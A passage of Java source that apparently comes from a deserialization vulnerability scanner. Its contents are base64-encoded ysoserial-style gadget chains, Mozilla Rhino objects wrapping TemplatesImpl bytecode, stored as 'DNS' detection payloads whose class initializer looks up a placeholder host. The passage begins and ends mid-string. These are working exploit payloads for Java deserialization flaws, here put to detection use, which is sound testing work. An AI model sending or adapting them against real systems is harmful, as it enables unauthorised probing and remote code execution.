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" + 
        				"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bGEuamF2YXNjcmlwdC5JbXBvcnRlclRvcExldmVscHEAfgGHcQB+ACNwcHNxAH4BYgAC3LXKV3QADENvbnRpbnVhdGlvbnNxAH4BZQAAAAAAdAApb3JnLm1vemlsbGEuamF2YXNjcmlwdC5OYXRpdmVDb250aW51YXRpb25wcQB+AYtxAH4AI3Bwc3EAfgFiAAIAAVP3dAADWE1Mc3EAfgFlAAAAAAB0AClvcmcubW96aWxsYS5qYXZhc2NyaXB0LnhtbGltcGwuWE1MTGliSW1wbHBxAH4Bj3EAfgAjcHBzcQB+AWIAArbcpTV0AAdYTUxMaXN0c3EAfgFlAAAAAABxAH4BkXBxAH4Bk3EAfgAjcHBzcQB+AWIAAsIVdTt0AAlOYW1lc3BhY2VzcQB+AWUAAAAAAHEAfgGRcHEAfgGWcQB+ACNwcHNxAH4BYgACBJpefHQABVFOYW1lc3EAfgFlAAAAAABxAH4BkXBxAH4BmXEAfgAjcHB4dwQAAAAAeHB3AQBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABnTK/rq+AAAAMgA1BwAzAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDM3OTc3NDU1MTE1MDABACBMeXNvc2VyaWFsL1B3bmVyMjAzNzk3NzQ1NTExNTAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwA0AAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMANAAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAAAABABMANAAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACEAAgACAAAADKcAAwFMEiu4ADFXsQAAAAEAMgAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4BogAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA8ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4dAAPamF2YS5sYW5nLkNsYXNzeHcEAAAABXNxAH4BYgAAADN6i3EAfgBCcQB+AIFzcgAgb3JnLm1vemlsbGEuamF2YXNjcmlwdC5NZW1iZXJCb3hYPhvmBuMEtQMAAHhwdwIBAXQABWVudGVydnIAHm9yZy5tb3ppbGxhLmphdmFzY3JpcHQuQ29udGV4dAAAAAAAAAAAAAAAeHB3AgAAeHBzcQB+AWIAADjrAAdxAH4ARHEAfgCBc3IAJ29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlSmF2YU1ldGhvZNBBTv5y/mkAAgACTAAMZnVuY3Rpb25OYW1lcQB+AAVbAAdtZXRob2RzdAAjW0xvcmcvbW96aWxsYS9qYXZhc2NyaXB0L01lbWJlckJveDt4cQB+ADcAAAAAcHBwdwQAAAAAeHcEAAAAAHgAAAAEcHEAfgBEdXIAI1tMb3JnLm1vemlsbGEuamF2YXNjcmlwdC5NZW1iZXJCb3g7MiYhTuYhUjkCAAB4cAAAAAFzcQB+Aah3AgEBdAAObmV3VHJhbnNmb3JtZXJ2cQB+AZt3AgAAeHB4dwQAAAAAeA=="));
        payloadsDNS.put("Mozilla Rhino Alternate payload (DNS)", Base64.decodeBase64("rO0ABXNyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUphdmFPYmplY3SfkaWeNcQx4QMAAkwABnBhcmVudHQAI0xvcmcvbW96aWxsYS9qYXZhc2NyaXB0L1NjcmlwdGFibGU7TAAJcHJvdG90eXBlcQB+AAF4cHNyAC5vcmcubW96aWxsYS5qYXZhc2NyaXB0LnRvb2xzLnNoZWxsLkVudmlyb25tZW50+gW/uzvYjVcCAAFMABR0aGVQcm90b3R5cGVJbnN0YW5jZXQAMExvcmcvbW96aWxsYS9qYXZhc2NyaXB0L3Rvb2xzL3NoZWxsL0Vudmlyb25tZW50O3hyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0LlNjcmlwdGFibGVPYmplY3RlzhRyj8QY5AMABEkABWNvdW50TAAQYXNzb2NpYXRlZFZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO0wAEXBhcmVudFNjb3BlT2JqZWN0cQB+AAFMAA9wcm90b3R5cGVPYmplY3RxAH4AAXhwAAAAAHNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAF0AApDbGFzc0NhY2hlc3IAIW9yZy5tb3ppbGxhLmphdmFzY3JpcHQuQ2xhc3NDYWNoZYT0xDSW3B8pAgACWgAQY2FjaGluZ0lzRW5hYmxlZEkAFGdlbmVyYXRlZENsYXNzU2VyaWFseHAAAAAAAHhwcHcEAAAAAHhxAH4AB3B3AQF0ABBqYXZhLmxhbmcuT2JqZWN0dXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAHNyACZvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUphdmFBcnJhefMtNmHvePE7AgADSQAGbGVuZ3RoTAAFYXJyYXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANjbHN0ABFMamF2YS9sYW5nL0NsYXNzO3hxAH4AAHEAfgAHc3EAfgADAAAAAXBzcQB+AABxAH4AB3B3AQFxAH4ADXVxAH4ADgAAAABzcQB+AAMAAAABcHBwdwQAAAAFc3IAMm9yZy5tb3ppbGxhLmphdmFzY3JpcHQuU2NyaXB0YWJsZU9iamVjdCRHZXR0ZXJTbG90u/2pI3MgHWwCAAJMAAZnZXR0ZXJxAH4AEUwABnNldHRlcnEAfgAReHIALG9yZy5tb3ppbGxhLmphdmFzY3JpcHQuU2NyaXB0YWJsZU9iamVjdCRTbG90q3noO+OFeJ0CAARTAAphdHRyaWJ1dGVzSQALaW5kZXhPckhhc2hMAARuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAFdmFsdWVxAH4AEXhwAAAAAYzGdAADZm9vcHNyACBvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk1lbWJlckJveFg+G+YG4wS1AwAAeHB3AgEBdAAFZW50ZXJ2cgAeb3JnLm1vemlsbGEuamF2YXNjcmlwdC5Db250ZXh0AAAAAAAAAAAAAAB4cHcCAAB4cHhxAH4AF3B4cHcEAAAABXNxAH4AGQAAzMn1FHQAEG91dHB1dFByb3BlcnRpZXNweHEAfgAUdwEAc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAaTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAZ0yv66vgAAADIANQcAMwEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ+AQAFWFhYWFgIACoBABRqYXZhL25ldC9JbmV0QWRkcmVzcwcALAEACWdldEJ5TmFtZQEAKihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmV0L0luZXRBZGRyZXNzOwwALgAvCgAtADABAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMjAzODIwNTcxMDg5OTAwAQAgTHlzb3NlcmlhbC9Qd25lcjIwMzgyMDU3MTA4OTkwMDsAIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMANAAAAAEAFQAWAAIAFwAAAAQAAQAYAA4AAAA/AAAAAwAAAAGxAAAAAgARA